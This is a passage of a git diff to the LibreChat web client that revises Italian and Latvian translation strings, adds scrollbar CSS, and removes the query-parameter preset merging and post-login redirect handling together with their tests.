"com_agents_enable_file_search": "Abilita Ricerca File",
@@ -57,7 +52,6 @@
"com_agents_error_searching": "Errore nella ricerca degli agenti",
"com_agents_error_server_message": "Il server è temporaneamente non disponibile.",
"com_agents_error_server_suggestion": "Riprova tra qualche istante.",
- "com_agents_error_server_title": "Errore del Server",
"com_agents_error_suggestion_generic": "Per favore, prova ad aggiornare la pagina o riprova più tardi.\n",
"com_agents_error_timeout_message": "La richiesta ha richiesto troppo tempo per essere completata.",
"com_agents_error_timeout_suggestion": "Controllare la connessione a Internet e riprovare.",
diff --git a/client/src/locales/lv/translation.json b/client/src/locales/lv/translation.json
index 57794a9e2a..5048c33dcc 100644
--- a/client/src/locales/lv/translation.json
+++ b/client/src/locales/lv/translation.json
@@ -39,7 +39,7 @@
"com_agents_description_card": "Apraksts: {{description}}",
"com_agents_description_placeholder": "Pēc izvēles: aprakstiet savu aģentu šeit",
"com_agents_empty_state_heading": "Nav atrasts neviens aģents",
- "com_agents_enable_file_search": "Iespējot meklēšanu dokumentos",
+ "com_agents_enable_file_search": "Iespējot vektorizēto meklēšanu",
"com_agents_error_bad_request_message": "Pieprasījumu nevarēja apstrādāt.",
"com_agents_error_bad_request_suggestion": "Lūdzu, pārbaudiet ievadītos datus un mēģiniet vēlreiz.",
"com_agents_error_category_title": "Kategorija Kļūda",
@@ -66,7 +66,7 @@
"com_agents_file_context_description": "Visi augšupielādētie faili tiek pilnībā pārveidoti tekstā un nekavējoties pievienoti aģenta pamata kontekstam kā nemainīgs saturs, kas pieejams visu sarunas laiku. Ja augšupielādētajam faila tipam ir pieejams vai konfigurēts OCR, teksta izvilkšana notiek automātiski. Šī metode ir piemērota gadījumos, kad nepieciešams analizēt visu dokumenta, attēla ar tekstu vai PDF faila saturu, taču jāņem vērā, ka tas ievērojami palielina atmiņas patēriņu un izmaksas.",
"com_agents_file_context_disabled": "Pirms failu augšupielādes, lai to pievienotu kā kontekstu, ir jāizveido aģents.",
"com_agents_file_context_label": "Pievienot failu kā kontekstu",
- "com_agents_file_search_disabled": "Lai varētu iespējot meklēšanu dokumentos ir jāizveido aģents.",
+ "com_agents_file_search_disabled": "Lai varētu iespējot vektorizētu meklēšanu ir jāizveido aģents.",
"com_agents_file_search_info": "Kad šī opcija ir iespējota, aģents izmanto vektorizētu datu meklēšanu (RAG pieeju), kas ļauj efektīvi un izmaksu ziņā izdevīgi izgūt atbilstošu kontekstu tikai no būtiskākajām faila daļām, balstoties uz lietotāja jautājumu, nevis analizē visu failu pilnā apjomā.",
"com_agents_grid_announcement": "Rādu {{count}} aģentus {{category}} kategorijā",
"com_agents_instructions_placeholder": "Sistēmas instrukcijas, ko izmantos aģents",
@@ -126,7 +126,7 @@
"com_assistants_delete_actions_success": "Darbība veiksmīgi dzēsta no asistenta",
"com_assistants_description_placeholder": "Pēc izvēles: Šeit aprakstiet savu asistentu",
"com_assistants_domain_info": "Asistents nosūtīja šo informāciju {{0}}",
- "com_assistants_file_search": "Meklēšana dokumentos",
+ "com_assistants_file_search": "Vektorizētā Meklēšana (RAG)",
"com_assistants_file_search_info": "Šī funkcija ļauj asistentam izmantot augšupielādēto failu saturu, pievienojot zināšanas tieši no lietotāja vai citu lietotāju failiem. Pēc faila augšupielādes asistents automātiski identificē un izgūst nepieciešamās teksta daļas atbilstoši lietotāja pieprasījumam, neiekļaujot visu failu pilnā apjomā. Vektoru datubāzu (vector store) pieslēgšana tieši šai funkcijai šobrīd nav atbalstīta; tās iespējams pievienot tikai Provider Playground vidē vai augšupielādējot failus sarunas pavedienam ikreizējai meklēšanai.",
"com_assistants_function_use": "Izmantotais asistents {{0}}",
"com_assistants_image_vision": "Attēla redzējums",
@@ -136,7 +136,7 @@
"com_assistants_knowledge_info": "Ja augšupielādējat failus sadaļā Zināšanas, sarunās ar asistentu var tikt iekļauts faila saturs.",
"com_assistants_max_starters_reached": "Sasniegts maksimālais sarunu uzsākšanas iespēju skaits",
"com_assistants_name_placeholder": "Pēc izvēles: Asistenta nosaukums",
- "com_assistants_non_retrieval_model": "Šajā modelī meklēšana dokumentos nav iespējota. Lūdzu, izvēlieties citu modeli.",
+ "com_assistants_non_retrieval_model": "Šajā modelī vektorizētā meklēšana nav iespējota. Lūdzu, izvēlieties citu modeli.",
"com_assistants_retrieval": "Atgūšana",
"com_assistants_running_action": "Darbība palaista",
"com_assistants_running_var": "Strādā {{0}}",
@@ -224,19 +224,18 @@
"com_endpoint_agent": "Aģents",
"com_endpoint_agent_placeholder": "Lūdzu, izvēlieties aģentu",
"com_endpoint_ai": "Mākslīgais intelekts",
- "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko spriešanu (tikai Opus 4.6).",
+ "com_endpoint_anthropic_effort": "Kontrolē, cik lielu skaitļošanas piepūli piemēro Claude. Mazāka piepūle ietaupa tokenus un samazina ātrumu; lielāka piepūle nodrošina rūpīgākas atbildes. 'Max' ļauj veikt visdziļāko argumentāciju (tikai Opus 4.6).",
"com_endpoint_anthropic_maxoutputtokens": "Maksimālais atbildē ģenerējamo tokenu skaits. Norādiet zemāku vērtību īsākām atbildēm un augstāku vērtību garākām atbildēm. Piezīme: modeļi var apstāties pirms šī maksimālā skaita sasniegšanas.",
"com_endpoint_anthropic_prompt_cache": "Uzvednes kešatmiņa ļauj atkārtoti izmantot lielu kontekstu vai instrukcijas API izsaukumos, samazinot izmaksas un ābildes ātrumu.",
"com_endpoint_anthropic_temp": "Diapazons no 0 līdz 1. Analītiskiem/atbilžu variantiem izmantot temp vērtību tuvāk 0, bet radošiem un ģeneratīviem uzdevumiem — tuvāk 1. Iesakām mainīt šo vai Top P, bet ne abus.",
- "com_endpoint_anthropic_thinking": "Iespējo iekšējo spriešanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".",
- "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā spriešanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".",
+ "com_endpoint_anthropic_thinking": "Iespējo iekšējo domāšanu atbalstītajiem Claude modeļiem (3.7 Sonnet). Piezīme: nepieciešams iestatīt \"Domāšanas budžetu\", kam arī jābūt zemākam par \"Max Output Tokens\".",
+ "com_endpoint_anthropic_thinking_budget": "Nosaka maksimālo žetonu skaitu, ko Claude drīkst izmantot savā iekšējā domāšanas procesā. Lielāki budžeti var uzlabot atbilžu kvalitāti, nodrošinot rūpīgāku analīzi sarežģītām problēmām, lai gan Claude var neizmantot visu piešķirto budžetu, īpaši diapazonos virs 32 000. Šim iestatījumam jābūt zemākam par \"Maksimālie izvades tokeni\".",
"com_endpoint_anthropic_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).",
"com_endpoint_anthropic_topp": "`Top-p` maina to, kā modelis atlasa marķierus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.",
- "com_endpoint_anthropic_use_web_search": "Iespējojiet meklēšanu tīmeklī funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.",
+ "com_endpoint_anthropic_use_web_search": "Iespējojiet tīmekļa meklēšanas funkcionalitāti, izmantojot Anthropic iebūvētās meklēšanas iespējas. Tas ļauj modelim meklēt tīmeklī jaunāko informāciju un sniegt precīzākas un aktuālākas atbildes.",
"com_endpoint_assistant": "Asistents",
"com_endpoint_assistant_model": "Asistenta modelis",
"com_endpoint_assistant_placeholder": "Lūdzu, labajā sānu panelī atlasiet asistentu.",
- "com_endpoint_bedrock_reasoning_effort": "Kontrolē spriešanas līmeni atbalstītajiem Bedrock modeļiem (piemēram, Kimi K2.5, GLM). Augstāki līmeņi nodrošina pamatīgāku argumentāciju, taču tas maksā ar lielāku kavēšanos un lielākiem tokeniem.",
"com_endpoint_config_click_here": "Noklikšķiniet šeit",
"com_endpoint_config_google_api_info": "Lai iegūtu savu Ģeneratīvās valodas API atslēgu (Gemini),",
"com_endpoint_config_google_api_key": "Google API atslēga",
@@ -277,7 +276,6 @@
"com_endpoint_google_temp": "Augstākas vērtības = nejaušāks, savukārt zemākas vērtības = fokusētāks un deterministiskāks. Iesakām mainīt šo vai Top P, bet ne abus.",
"com_endpoint_google_thinking": "Iespējo vai atspējo spriešanas funkciju. Šo iestatījumu atbalsta tikai daži modeļi (2.5 sērija). Vecākiem modeļiem šim iestatījumam var nebūt nekādas ietekmes.",
"com_endpoint_google_thinking_budget": "Norāda modeļa izmantoto domāšanas tokenu skaitu. Faktiskais skaits var pārsniegt vai būt mazāks par šo vērtību atkarībā no uzvednes.\n\nŠo iestatījumu atbalsta tikai noteikti modeļi (2.5 sērija). Gemini 2.5 Pro atbalsta 128–32 768 žetonus. Gemini 2.5 Flash atbalsta 0–24 576 žetonus. Gemini 2.5 Flash Lite atbalsta 512–24 576 žetonus.\n\nAtstājiet tukšu vai iestatiet uz \"-1\", lai modelis automātiski izlemtu, kad un cik daudz domāt. Pēc noklusējuma Gemini 2.5 Flash Lite nedomā.",
- "com_endpoint_google_thinking_level": "Kontrolē spriešanas dziļumu Gemini 3 un jaunākos modeļos. Nav ietekmes uz Gemini 2.5 un vecākiem modeļiem - tiem izmantojiet Domāšanas budžetu.\n\nLai izmantotu modeļa noklusējuma iestatījumu, atstājiet iestatījumu Automātiski.",
"com_endpoint_google_topk": "Top-k maina to, kā modelis atlasa marķierus izvadei. Ja top-k ir 1, tas nozīmē, ka atlasītais marķieris ir visticamākais starp visiem modeļa vārdu krājumā esošajiem marķieriem (to sauc arī par alkatīgo dekodēšanu), savukārt, ja top-k ir 3, tas nozīmē, ka nākamais marķieris tiek izvēlēts no 3 visticamākajiem marķieriem (izmantojot temperatūru).",
"com_endpoint_google_topp": "`Top-p` maina to, kā modelis atlasa tokenus izvadei. Marķieri tiek atlasīti no K (skatīt parametru topK) ticamākās līdz vismazāk ticamajai, līdz to varbūtību summa ir vienāda ar `top-p` vērtību.",
"com_endpoint_google_use_search_grounding": "Izmantot Google meklēšanas pamatošanas funkciju, lai uzlabotu atbildes ar reāllaika tīmekļa meklēšanas rezultātiem. Tas ļauj modeļiem piekļūt aktuālajai informācijai un sniegt precīzākas, aktuālākas atbildes.",
@@ -334,7 +332,7 @@
"com_endpoint_prompt_prefix_assistants": "Papildu instrukcijas",
"com_endpoint_prompt_prefix_assistants_placeholder": "Iestatiet papildu norādījumus vai kontekstu virs Asistenta galvenajiem norādījumiem. Ja lauks ir tukšs, tas tiek ignorēts.",
"com_endpoint_prompt_prefix_placeholder": "Iestatiet pielāgotas instrukcijas vai kontekstu. Ja lauks ir tukšs, tas tiek ignorēts.",
- "com_endpoint_reasoning_effort": "Spriešanas piepūle",
+ "com_endpoint_reasoning_effort": "Spriešanas līmenis",
"com_endpoint_reasoning_summary": "Spriešanas kopsavilkums",
"com_endpoint_save_as_preset": "Saglabāt kā iestatījumu",
"com_endpoint_search": "Meklēt galapunktu pēc nosaukuma",
@@ -347,7 +345,6 @@
"com_endpoint_temperature": "Temperatūra",
"com_endpoint_thinking": "Domāšana",
"com_endpoint_thinking_budget": "Domāšanas budžets",
- "com_endpoint_thinking_level": "Domāšanas līmenis",
"com_endpoint_top_k": "Top K",
"com_endpoint_top_p": "Top P",
"com_endpoint_use_active_assistant": "Izmantojiet aktīvo asistentu",
@@ -493,7 +490,7 @@
"com_nav_info_latex_parsing": "Ja šī opcija ir iespējota, LaTeX kods ziņās tiks atveidots kā matemātiski vienādojumi. Šīs opcijas atspējošana var uzlabot veiktspēju, ja LaTeX atveidošana nav nepieciešama.",
"com_nav_info_save_badges_state": "Ja šī opcija ir iespējota, sarunu nozīmīšu stāvoklis tiks saglabāts. Tas nozīmē, ka, izveidojot jaunu sarunu, nozīmītes paliks tādā pašā stāvoklī kā iepriekšējā sarunā. Ja atspējosiet šo opciju, nozīmītes tiks atiestatītas uz noklusējuma stāvokli katru reizi, kad izveidosiet jaunu sarunu.",
"com_nav_info_save_draft": "Ja šī opcija ir iespējota, sarunas veidlapā ievadītais teksts un pielikumi tiks automātiski saglabāti lokāli kā melnraksti. Šie melnraksti būs pieejami pat tad, ja atkārtoti ielādēsiet lapu vai pārslēgsieties uz citu sarunu. Melnraksti tiek saglabāti lokāli jūsu ierīcē un tiek dzēsti, tiklīdz ziņa ir nosūtīts.",
- "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamā izvēlne, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.",
+ "com_nav_info_show_thinking": "Ja šī opcija ir iespējota, sarunas pēc noklusējuma tiks atvērtas domāšanas nolaižamās izvēlnes, ļaujot reāllaikā skatīt mākslīgā intelekta spriešanu. Ja šī opcija ir atspējota, domāšanas nolaižamās izvēlnes pēc noklusējuma paliks aizvērtas, lai saskarne būtu tīrāka un vienkāršāka.",
"com_nav_info_user_name_display": "Ja šī opcija ir iespējota, sūtītāja lietotājvārds tiks rādīts virs katra jūsu nosūtītās ziņas. Ja šī opcija ir atspējota, virs ziņām redzēsiet tikai vārdu \"Jūs\".",
"com_nav_keep_screen_awake": "Atbildes ģenerēšanas laikā atstājiet ekrānu nomodā",
"com_nav_lang_arabic": "العربية",
@@ -845,7 +842,6 @@
"com_ui_controls": "Pārvaldība",
"com_ui_conversation": "saruna",
"com_ui_conversation_label": "{{title}} saruna",
- "com_ui_conversation_not_found": "Saruna nav atrasta",
"com_ui_conversations": "sarunas",
"com_ui_convo_archived": "Sarunas arhivētas",
"com_ui_convo_delete_error": "Neizdevās izdzēst sarunu",
@@ -1459,7 +1455,7 @@
"com_ui_upload_delay": "Augšupielāde \"{{0}}\" aizņem vairāk laika nekā paredzēts. Lūdzu, uzgaidiet, kamēr faila indeksēšana ir pabeigta izguvei.",
"com_ui_upload_error": "Augšupielādējot failu, radās kļūda.",
"com_ui_upload_file_context": "Augšupielādēt failu kā kontekstu",
- "com_ui_upload_file_search": "Pievienot meklēšanai dokumentos",
+ "com_ui_upload_file_search": "Augšupielādēt vektorizētai meklēšanai",
"com_ui_upload_files": "Augšupielādēt failus",
"com_ui_upload_icon": "Augšupielādēt ikonas attēlu",
"com_ui_upload_image": "Augšupielādēt failu kā attēlu",
@@ -1467,7 +1463,7 @@
"com_ui_upload_invalid": "Nederīgs augšupielādējamais fails. Attēlam jābūt tādam, kas nepārsniedz ierobežojumu.",
"com_ui_upload_invalid_var": "Nederīgs augšupielādējams fails. Attēlam jābūt ne lielākam par {{0}} MB",
"com_ui_upload_ocr_text": "Augšupielādēt failu kā kontekstu",
- "com_ui_upload_provider": "Pievienot čatam",
+ "com_ui_upload_provider": "Augšupielādēt pakalpojumu sniedzējam",
"com_ui_upload_success": "Fails veiksmīgi augšupielādēts",
"com_ui_upload_type": "Izvēlieties augšupielādes veidu",
"com_ui_usage": "Izmantošana",
@@ -1486,7 +1482,7 @@
"com_ui_version_var": "Versija {{0}}",
"com_ui_versions": "Versijas",
"com_ui_view_memory": "Skatīt atmiņu",
- "com_ui_web_search": "Meklēšana tīmeklī",
+ "com_ui_web_search": "Tīmekļa meklēšana",
"com_ui_web_search_cohere_key": "Ievadiet Cohere API atslēgu",
"com_ui_web_search_firecrawl_url": "Firecrawl API URL (pēc izvēles)",
"com_ui_web_search_jina_key": "Ievadiet Jina API atslēgu",
diff --git a/client/src/mobile.css b/client/src/mobile.css
index 0d31b41134..20eeb5d1da 100644
--- a/client/src/mobile.css
+++ b/client/src/mobile.css
@@ -349,6 +349,26 @@
animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both;
}
+div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"] {
+ scrollbar-gutter: stable !important;
+ background-color: rgba(205, 205, 205, 0.66) !important;
+}
+
+div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar {
+ width: 12px !important;
+}
+
+div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-thumb {
+ background-color: rgba(56, 56, 56) !important;
+ border-radius: 6px !important;
+ border: 2px solid transparent !important;
+ background-clip: padding-box !important;
+}
+
+div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-track {
+ background-color: transparent !important;
+}
+
.cm-content:focus {
outline: none !important;
}
diff --git a/client/src/routes/ChatRoute.tsx b/client/src/routes/ChatRoute.tsx
index a17d349037..c8fea73470 100644
--- a/client/src/routes/ChatRoute.tsx
+++ b/client/src/routes/ChatRoute.tsx
@@ -1,26 +1,19 @@
import { useEffect } from 'react';
+import { useParams } from 'react-router-dom';
import { useRecoilCallback, useRecoilValue } from 'recoil';
import { Spinner, useToastContext } from '@librechat/client';
-import { useParams, useSearchParams } from 'react-router-dom';
import { Constants, EModelEndpoint } from 'librechat-data-provider';
import { useGetModelsQuery } from 'librechat-data-provider/react-query';
import type { TPreset } from 'librechat-data-provider';
import {
- mergeQuerySettingsWithSpec,
- processValidSettings,
- getDefaultModelSpec,
- getModelSpecPreset,
- isNotFoundError,
- logger,
-} from '~/utils';
-import {
+ useNewConvo,
+ useAppStartup,
useAssistantListMap,
useIdChangeEffect,
- useAppStartup,
- useNewConvo,
useLocalize,
} from '~/hooks';
import { useGetConvoIdQuery, useGetStartupConfig, useGetEndpointsQuery } from '~/data-provider';
+import { getDefaultModelSpec, getModelSpecPreset, logger, isNotFoundError } from '~/utils';
import { ToolCallsMapProvider } from '~/Providers';
import ChatView from '~/components/Chat/ChatView';
import { NotificationSeverity } from '~/common';
@@ -43,7 +36,6 @@ export default function ChatRoute() {
useAppStartup({ startupConfig, user });
const index = 0;
- const [searchParams] = useSearchParams();
const { conversationId = '' } = useParams();
useIdChangeEffect(conversationId);
const { hasSetConversation, conversation } = store.useCreateConversationAtom(index);
@@ -88,35 +80,14 @@ export default function ChatRoute() {
return;
}
- const isNewConvo = conversationId === Constants.NEW_CONVO;
-
- const getNewConvoPreset = () => {
+ if (conversationId === Constants.NEW_CONVO && endpointsQuery.data && modelsQuery.data) {
const result = getDefaultModelSpec(startupConfig);
const spec = result?.default ?? result?.last;
- const specPreset = spec ? getModelSpecPreset(spec) : undefined;
-
- const queryParams: Record = {};
- searchParams.forEach((value, key) => {
- if (key !== 'prompt' && key !== 'q' && key !== 'submit') {
- queryParams[key] = value;
- }
- });
- const querySettings = processValidSettings(queryParams);
-
- if (Object.keys(querySettings).length > 0) {
- return mergeQuerySettingsWithSpec(specPreset, querySettings);
- }
- return specPreset;
- };
-
- if (isNewConvo && endpointsQuery.data && modelsQuery.data) {
- const preset = getNewConvoPreset();
-
logger.log('conversation', 'ChatRoute, new convo effect', conversation);
newConversation({
modelsData: modelsQuery.data,
template: conversation ? conversation : undefined,
- ...(preset ? { preset } : {}),
+ ...(spec ? { preset: getModelSpecPreset(spec) } : {}),
});
hasSetConversation.current = true;
@@ -154,17 +125,17 @@ export default function ChatRoute() {
});
hasSetConversation.current = true;
} else if (
- isNewConvo &&
+ conversationId === Constants.NEW_CONVO &&
assistantListMap[EModelEndpoint.assistants] &&
assistantListMap[EModelEndpoint.azureAssistants]
) {
- const preset = getNewConvoPreset();
-
+ const result = getDefaultModelSpec(startupConfig);
+ const spec = result?.default ?? result?.last;
logger.log('conversation', 'ChatRoute new convo, assistants effect', conversation);
newConversation({
modelsData: modelsQuery.data,
template: conversation ? conversation : undefined,
- ...(preset ? { preset } : {}),
+ ...(spec ? { preset: getModelSpecPreset(spec) } : {}),
});
hasSetConversation.current = true;
} else if (
diff --git a/client/src/routes/Layouts/Startup.tsx b/client/src/routes/Layouts/Startup.tsx
index bb0e5ef254..9c9e0952dd 100644
--- a/client/src/routes/Layouts/Startup.tsx
+++ b/client/src/routes/Layouts/Startup.tsx
@@ -1,10 +1,9 @@
import { useEffect, useState } from 'react';
import { Outlet, useNavigate, useLocation } from 'react-router-dom';
import type { TStartupConfig } from 'librechat-data-provider';
-import { TranslationKeys, useLocalize } from '~/hooks';
import { useGetStartupConfig } from '~/data-provider';
import AuthLayout from '~/components/Auth/AuthLayout';
-import { REDIRECT_PARAM, SESSION_KEY } from '~/utils';
+import { TranslationKeys, useLocalize } from '~/hooks';
const headerMap: Record = {
'/login': 'com_auth_welcome_back',
@@ -31,12 +30,7 @@ export default function StartupLayout({ isAuthenticated }: { isAuthenticated?: b
useEffect(() => {
if (isAuthenticated) {
- const hasPendingRedirect =
- new URLSearchParams(window.location.search).has(REDIRECT_PARAM) ||
- sessionStorage.getItem(SESSION_KEY) != null;
- if (!hasPendingRedirect) {
- navigate('/c/new', { replace: true });
- }
+ navigate('/c/new', { replace: true });
}
if (data) {
setStartupConfig(data);
diff --git a/client/src/routes/Root.tsx b/client/src/routes/Root.tsx
index b9adae032b..3e6bff1457 100644
--- a/client/src/routes/Root.tsx
+++ b/client/src/routes/Root.tsx
@@ -88,7 +88,6 @@ export default function Root() {
}
: undefined
}
- {...{ inert: navVisible && isSmallScreen ? '' : undefined }}
>
diff --git a/client/src/routes/__tests__/StartupLayout.spec.tsx b/client/src/routes/__tests__/StartupLayout.spec.tsx
deleted file mode 100644
index 372345fe1c..0000000000
--- a/client/src/routes/__tests__/StartupLayout.spec.tsx
+++ /dev/null
@@ -1,114 +0,0 @@
-/* eslint-disable i18next/no-literal-string */
-import React from 'react';
-import { render, waitFor } from '@testing-library/react';
-import { createMemoryRouter, RouterProvider } from 'react-router-dom';
-import StartupLayout from '~/routes/Layouts/Startup';
-import { SESSION_KEY } from '~/utils';
-
-if (typeof Request === 'undefined') {
- global.Request = class Request {
- constructor(
- public url: string,
- public init?: RequestInit,
- ) {}
- } as any;
-}
-
-jest.mock('~/data-provider', () => ({
- useGetStartupConfig: jest.fn(() => ({
- data: null,
- isFetching: false,
- error: null,
- })),
-}));
-
-jest.mock('~/hooks', () => ({
- useLocalize: jest.fn(() => (key: string) => key),
- TranslationKeys: {},
-}));
-
-jest.mock('~/components/Auth/AuthLayout', () => {
- return function MockAuthLayout({ children }: { children: React.ReactNode }) {
- return {children}
;
- };
-});
-
-function ChildRoute() {
- return Child
;
-}
-
-function NewConversation() {
- return New Conversation
;
-}
-
-const createTestRouter = (initialEntry: string, isAuthenticated: boolean) =>
- createMemoryRouter(
- [
- {
- path: '/login',
- element: ,
- children: [{ index: true, element: }],
- },
- {
- path: '/c/new',
- element: ,
- },
- ],
- { initialEntries: [initialEntry] },
- );
-
-describe('StartupLayout — redirect race condition', () => {
- beforeEach(() => {
- sessionStorage.clear();
- });
-
- afterEach(() => {
- window.history.replaceState({}, '', '/');
- jest.restoreAllMocks();
- });
-
- it('navigates to /c/new when authenticated with no pending redirect', async () => {
- window.history.replaceState({}, '', '/login');
-
- const router = createTestRouter('/login', true);
- render( );
-
- await waitFor(() => {
- expect(router.state.location.pathname).toBe('/c/new');
- });
- });
-
- it('does NOT navigate to /c/new when redirect_to URL param is present', async () => {
- window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123');
-
- const router = createTestRouter('/login?redirect_to=%2Fc%2Fabc123', true);
- render( );
-
- await new Promise((resolve) => setTimeout(resolve, 100));
-
- expect(router.state.location.pathname).toBe('/login');
- });
-
- it('does NOT navigate to /c/new when sessionStorage redirect is present', async () => {
- window.history.replaceState({}, '', '/login');
- sessionStorage.setItem(SESSION_KEY, '/c/abc123');
-
- const router = createTestRouter('/login', true);
- render( );
-
- await new Promise((resolve) => setTimeout(resolve, 100));
-
- expect(router.state.location.pathname).toBe('/login');
- });
-
- it('does NOT navigate when not authenticated', async () => {
- window.history.replaceState({}, '', '/login');
-
- const router = createTestRouter('/login', false);
- render( );
-
- await new Promise((resolve) => setTimeout(resolve, 100));
-
- expect(router.state.location.pathname).toBe('/login');
- });
-});
diff --git a/client/src/routes/__tests__/useAuthRedirect.spec.tsx b/client/src/routes/__tests__/useAuthRedirect.spec.tsx
index adb06e15bc..19226aa29f 100644
--- a/client/src/routes/__tests__/useAuthRedirect.spec.tsx
+++ b/client/src/routes/__tests__/useAuthRedirect.spec.tsx
@@ -33,8 +33,9 @@ function TestComponent() {
* Creates a test router with optional basename to verify navigation works correctly
* with subdirectory deployments (e.g., /librechat)
*/
-const createTestRouter = (basename = '/', initialEntry?: string) => {
- const defaultEntry = basename === '/' ? '/' : `${basename}/`;
+const createTestRouter = (basename = '/') => {
+ // When using basename, initialEntries must include the basename
+ const initialEntry = basename === '/' ? '/' : `${basename}/`;
return createMemoryRouter(
[
@@ -46,14 +47,10 @@ const createTestRouter = (basename = '/', initialEntry?: string) => {
path: '/login',
element: Login Page
,
},
- {
- path: '/c/:id',
- element: ,
- },
],
{
basename,
- initialEntries: [initialEntry ?? defaultEntry],
+ initialEntries: [initialEntry],
},
);
};
@@ -202,104 +199,4 @@ describe('useAuthRedirect', () => {
expect(testResult.isAuthenticated).toBe(true);
});
});
-
- it('should include redirect_to param with encoded current path when redirecting', async () => {
- (useAuthContext as jest.Mock).mockReturnValue({
- user: null,
- isAuthenticated: false,
- });
-
- const router = createTestRouter('/', '/c/abc123');
- render( );
-
- await waitFor(
- () => {
- expect(router.state.location.pathname).toBe('/login');
- const search = router.state.location.search;
- const params = new URLSearchParams(search);
- const redirectTo = params.get('redirect_to');
- expect(redirectTo).not.toBeNull();
- expect(decodeURIComponent(redirectTo!)).toBe('/c/abc123');
- },
- { timeout: 1000 },
- );
- });
-
- it('should encode query params and hash from the source URL', async () => {
- (useAuthContext as jest.Mock).mockReturnValue({
- user: null,
- isAuthenticated: false,
- });
-
- const router = createTestRouter('/', '/c/abc123?q=hello&submit=true#section');
- render( );
-
- await waitFor(
- () => {
- expect(router.state.location.pathname).toBe('/login');
- const params = new URLSearchParams(router.state.location.search);
- const decoded = decodeURIComponent(params.get('redirect_to')!);
- expect(decoded).toBe('/c/abc123?q=hello&submit=true#section');
- },
- { timeout: 1000 },
- );
- });
-
- it('should not include basename in redirect_to param (prevents path doubling)', async () => {
- (useAuthContext as jest.Mock).mockReturnValue({
- user: null,
- isAuthenticated: false,
- });
-
- /**
- * Validates that React Router's useLocation() strips the basename before
- * buildLoginRedirectUrl receives it, so redirect_to never contains
- * the base prefix. The BASE_URL stripping logic inside buildLoginRedirectUrl
- * (for callers using window.location.pathname) is tested in
- * api-endpoints-subdir.spec.ts.
- */
- const router = createTestRouter('/librechat', '/librechat/c/abc123');
- render( );
-
- await waitFor(
- () => {
- expect(router.state.location.pathname).toBe('/librechat/login');
- const search = router.state.location.search;
- const params = new URLSearchParams(search);
- const redirectTo = decodeURIComponent(params.get('redirect_to')!);
- /** redirect_to should be /c/abc123, NOT /librechat/c/abc123
- * because navigate() with basename will re-add the prefix */
- expect(redirectTo).toBe('/c/abc123');
- expect(redirectTo).not.toContain('/librechat/');
- },
- { timeout: 1000 },
- );
- });
-
- it('should not append redirect_to when already on /login', async () => {
- (useAuthContext as jest.Mock).mockReturnValue({
- user: null,
- isAuthenticated: false,
- });
-
- const router = createMemoryRouter(
- [
- {
- path: '/login',
- element: ,
- },
- ],
- { initialEntries: ['/login'] },
- );
- render( );
-
- await waitFor(
- () => {
- expect(router.state.location.pathname).toBe('/login');
- },
- { timeout: 1000 },
- );
-
- expect(router.state.location.search).toBe('');
- });
});
diff --git a/client/src/routes/useAuthRedirect.ts b/client/src/routes/useAuthRedirect.ts
index cc277cd74e..86d8103384 100644
--- a/client/src/routes/useAuthRedirect.ts
+++ b/client/src/routes/useAuthRedirect.ts
@@ -1,28 +1,22 @@
import { useEffect } from 'react';
-import { useLocation, useNavigate } from 'react-router-dom';
-import { buildLoginRedirectUrl } from 'librechat-data-provider';
+import { useNavigate } from 'react-router-dom';
import { useAuthContext } from '~/hooks';
export default function useAuthRedirect() {
const { user, roles, isAuthenticated } = useAuthContext();
const navigate = useNavigate();
- const location = useLocation();
useEffect(() => {
const timeout = setTimeout(() => {
- if (isAuthenticated) {
- return;
+ if (!isAuthenticated) {
+ navigate('/login', { replace: true });
}
-
- navigate(buildLoginRedirectUrl(location.pathname, location.search, location.hash), {
- replace: true,
- });
}, 300);
return () => {
clearTimeout(timeout);
};
- }, [isAuthenticated, navigate, location]);
+ }, [isAuthenticated, navigate]);
return {
user,
diff --git a/client/src/store/families.ts b/client/src/store/families.ts
index 30b8211ab5..7faec7aa9d 100644
--- a/client/src/store/families.ts
+++ b/client/src/store/families.ts
@@ -6,18 +6,13 @@ import {
atomFamily,
DefaultValue,
selectorFamily,
+ useRecoilState,
useRecoilValue,
useSetRecoilState,
useRecoilCallback,
} from 'recoil';
